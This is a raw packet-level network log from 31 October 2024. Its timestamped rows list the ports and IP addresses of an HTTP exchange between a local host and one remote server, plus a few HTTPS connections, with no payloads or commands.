Oct 31, 2024 03:04:35.447810888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.447818995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.447858095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.447858095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.447999001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448010921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448064089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448064089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448101044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448115110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448127031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448137045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448149920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448159933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448160887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448206902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448354959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448817968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448827982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448837042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448868990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448879957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448889971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448893070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448893070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448903084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448911905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448915005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448942900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448955059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448956013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448956013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448965073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448977947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.448988914 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.448988914 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449022055 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449022055 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449054956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449074030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449085951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449096918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449098110 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449107885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449120045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449172974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449184895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449197054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449199915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449208975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449219942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449222088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449246883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449260950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449273109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449284077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449294090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449321985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449330091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449341059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449351072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449357033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449364901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449377060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449423075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449423075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449456930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449467897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449477911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449493885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449502945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449506998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449522972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449523926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449575901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449584961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449593067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449595928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449609995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449632883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449636936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449654102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449656963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449665070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449688911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449676991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449688911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449704885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449716091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449717999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449750900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449783087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449801922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449814081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449826002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449851036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449898958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449912071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449912071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449923038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449942112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449951887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449955940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449965954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.449965954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.449976921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450001955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450023890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450036049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450047016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450047016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450057983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450069904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450073957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450082064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450093985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450103045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450117111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450134993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450141907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450153112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450159073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450162888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450174093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450200081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450200081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450212002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450223923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450223923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450248003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450252056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450277090 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450297117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450310946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450320005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450324059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450346947 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450433016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450455904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450460911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450468063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450480938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450505972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450592995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450604916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450606108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450614929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450625896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450639963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450639963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450647116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450659037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450673103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450675964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450687885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450697899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450699091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450699091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450710058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450715065 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450721979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450732946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450746059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450747013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450772047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450782061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450787067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450793982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450804949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450804949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450815916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450826883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450841904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450858116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450865030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450869083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450880051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450889111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450890064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450901031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.450913906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.450997114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451029062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451040030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451050997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451064110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451075077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451076984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451086998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451109886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451119900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451128960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451138973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451144934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451150894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451159954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451164007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451188087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451199055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451216936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451216936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451221943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451232910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451241970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451242924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451253891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451265097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451276064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451276064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451283932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451287031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451308012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451400995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451419115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451428890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451430082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.451453924 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.451498985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.453099966 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.453119040 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.453308105 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.453318119 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.453376055 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.456542015 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.456563950 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.456610918 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.456648111 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.456700087 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.456700087 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.467988014 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.469058037 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.469110012 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.469244957 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.485168934 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.485230923 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.485292912 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.485301971 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.485362053 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.486227036 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.486253977 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.489903927 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.489953041 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.490093946 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.490305901 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.490339994 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.492763042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492796898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492806911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492845058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.492851019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492861032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492871046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492883921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.492928982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.492928982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.492969036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.534985065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.534997940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.535008907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.535104990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.538352966 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.538388014 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.540632010 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.541188002 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.541198969 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.541342020 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.541611910 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.541625977 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.544486046 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.544498920 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.545742035 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.545825958 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.548785925 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.548863888 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.548865080 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.548872948 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.548880100 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.551840067 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.551873922 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.552275896 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.552350998 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.552365065 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.558983088 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.559111118 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.560554028 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.560988903 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.560988903 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.560997009 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.561003923 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.562249899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.562351942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.562447071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.562459946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.562598944 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.562963963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.562978029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.563033104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.563783884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.563796997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.563807011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.563858032 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.563858032 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.564595938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.564610004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.564618111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.564696074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.564696074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.565058947 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.565069914 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.565155983 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.565426111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.565439939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.565450907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.565453053 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.565465927 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.565490007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.565538883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.566215992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.566229105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.566239119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.566322088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.567023993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567035913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567044973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567110062 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.567110062 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.567836046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567847013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567854881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567864895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.567917109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.567917109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.568643093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.568659067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.568742037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.569443941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.569457054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.569467068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.569520950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.569520950 CET	49823	80	192.168.2.5	185.215.113.206
